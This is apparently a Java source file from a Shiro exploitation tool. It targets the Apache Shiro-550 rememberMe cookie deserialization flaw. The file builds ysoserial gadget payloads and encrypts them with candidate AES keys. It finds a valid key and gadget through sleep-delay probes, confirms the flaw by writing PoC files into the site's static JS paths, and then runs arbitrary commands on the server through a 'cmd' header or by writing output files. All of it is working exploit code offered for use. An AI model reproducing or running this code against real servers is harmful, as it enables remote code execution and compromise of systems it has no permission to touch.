package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.AesEncrypt;
import com.shiroexploit.util.*;
import java.io.File;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;

public class Shiro550VerifierUsingEcho implements Verifier{
    private Config config;
    private String key;
    private List<PayloadType> gadgets;
    private Boolean flag = false;
    private boolean echoSuccess = false;
    private boolean pocSuccess = false;
    private String pocPath;
    private String shellPath;

    public Shiro550VerifierUsingEcho(){
        System.out.println("[*] Using Shiro550VerifiertUsingEcho");
        this.config = Config.getInstance();
        this.gadgets = new ArrayList<>();
    }

    @Override
    public void getValidGadget() throws ExploitFailedException {
        label1:for(PayloadType type : config.getGadgets()){
            System.out.println("[*] Trying Gadget: " + type.getName());

            for(String key : config.getKeys()){
                String  command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
                        + " directive:sleep:5";

                byte[] payload = Tools.exec(command);
                String rememberMe = AesEncrypt.encrypt(key, payload);

                int delay = HttpRequest.getRequestDelay(config.getRequestInfo(),rememberMe);
                if(delay >= 4){
                    int secondTest = delay + 5;
                    command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
                            + " directive:sleep:" + secondTest;

                    payload = Tools.exec(command);
                    rememberMe = AesEncrypt.encrypt(key, payload);
//                    System.out.println("[*] directive:sleep:" + secondTest + " Cookie Length: " + rememberMe.length());
                    delay = HttpRequest.getRequestDelay(config.getRequestInfo(),rememberMe);

                    if(delay >= secondTest - 1){
                        System.out.println("[+] Time delay Detected, target seems to be vulnerable, confirming....");
                        this.key = key;
                        this.gadgets.add(type);
                        if(confirm()){
                            System.out.println("[+] Vuln Confirmed");
                            System.out.println("[+] Find Valid Key: " + this.key);
                            System.out.println("[+] Find Valid Gadget: " + this.gadgets.get(0));
                            break label1;
                        }else{
                            System.out.println("[-] Looks like a false positive...");
                            this.gadgets.clear();
                        }
                    }
                }
            }
        }

        if(this.gadgets.size() == 0){
            throw new ExploitFailedException("[-] Can not find a valid key or find a valid Gadget!");
        }
    }

    private boolean confirm() {
        this.pocSuccess = isPocSuccess();
        this.echoSuccess = isEchoSuccess();

        return this.echoSuccess || this.pocSuccess;
    }

    private boolean isEchoSuccess(){
        for(int i = 1; i <=3 ; i++){
            String  command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + this.gadgets.get(0).getName()
                    + " directive:writeclass" + i;
            byte[] payload = Tools.exec(command);
            String rememberMe = AesEncrypt.encrypt(this.key, payload);
//            System.out.println("[*] directive:writeclass" + i + " Cookie Length: " + rememberMe.length());
            HttpRequest.request(config.getRequestInfo(), rememberMe);
        }


        String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + this.gadgets.get(0).getName()
                + " directive:echo";
        byte[] payload = Tools.exec(command);
        String rememberMe = AesEncrypt.encrypt(this.key, payload);
//        System.out.println("[*] directive:echo Cookie Length: " + rememberMe.length());

        HttpRequestInfo httpRequestInfo = config.getRequestInfo();
        httpRequestInfo.getHeaders().put("cmd", "echo shiro550");
        String result = HttpRequest.request(httpRequestInfo, rememberMe);
        if(result != null && result.contains("shiro550")){
            System.out.println("[+] Echo works fine");
            return true;
        }else{
//            System.out.println("[-] Echo does not work");
            return false;
        }
    }

    private boolean isPocSuccess() {

        String staticFilePath = config.getStaticFilePath();
        List<String> paths = Tools.getPaths(staticFilePath, true, "js");

        URL u = null;
        try {
            u = new URL(staticFilePath);
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
        this.pocPath = u.getProtocol() + "://" + u.getHost();
        if(u.getPort() != -1){
            this.pocPath += ":" + u.getPort();
        }
        this.pocPath += "/" + paths.get(0);

        System.out.println("[*] Trying create PoC file: " + this.pocPath);

        for(String p : paths){
            String  command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + this.gadgets.get(0).getName()
                    + " \"directive:poc:" + p + "\"";
            byte[] payload = Tools.exec(command);
            String rememberMe = AesEncrypt.encrypt(this.key, payload);
//            System.out.println("[*] directive:poc:" + p + " Cookie Length: " + rememberMe.length());
            HttpRequest.request(config.getRequestInfo(), rememberMe);
        }

        String content = "";
        try{
            content = HttpRequest.getResponse(this.pocPath);
        }catch(Exception e){
            //pass
        }

        if(content != null && content.trim().equals("Shiro550 poc")){
            System.out.println("[+] PoC file create successed: " + this.pocPath);
            return true;
        }else{
            System.out.println("[-] PoC file create failed");
            return false;
        }
    }

    @Override
    public String executeCmd(String cmd) {

        System.out.println("");
        System.out.println("[*] Using Key " + this.key);
        System.out.println("[*] Using Gadget " + gadgets.get(0).getName());
        System.out.println("[*] Executing command: " + cmd + "...");

        if(cmd.startsWith("directive")){
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + this.gadgets.get(0).getName()
                    + " " + cmd;
            byte[] payload = Tools.exec(command);
            String rememberMe = AesEncrypt.encrypt(this.key, payload);
            String result = HttpRequest.request(config.getRequestInfo(), rememberMe);
            if(result != null){
                return result.trim();
            }else{
                return "";
            }
        }

        if(this.echoSuccess){
            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + this.gadgets.get(0).getName()
                    + " directive:echo";
            byte[] payload = Tools.exec(command);
            String rememberMe = AesEncrypt.encrypt(this.key, payload);
//            System.out.println("[*] directive:echo Cookie Length: " + rememberMe.length());

            HttpRequestInfo httpRequestInfo = config.getRequestInfo();
            httpRequestInfo.getHeaders().put("cmd", cmd);
            String result = HttpRequest.request(httpRequestInfo, rememberMe);
            if(result != null){
                return result.trim();
            }else{
                return "[-] failed";
            }
        }else{
            List<String> paths = Tools.getPaths(this.pocPath, false, null);

            for(String p : paths){
                String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + this.gadgets.get(0).getName()
                        + " \"directive:writefileecho:" + p + ":" + cmd + "\"";
                byte[] payload = Tools.exec(command);
                String rememberMe = AesEncrypt.encrypt(this.key, payload);
//                System.out.println("[*] directive:writefileecho:" + p + ":" + cmd + " Cookie Length: " + rememberMe.length());
                HttpRequest.request(config.getRequestInfo(), rememberMe);
            }

            String content = "";
            try{
                Thread.sleep(1500);
                content = HttpRequest.getResponse(this.pocPath);
            }catch(Exception e){
                //pass
            }

            if(content != null){
                System.out.println("[+] You can see the result in:" + this.pocPath);
                return content;
            }else{
                return "[-] failed";
            }
        }
    }
}
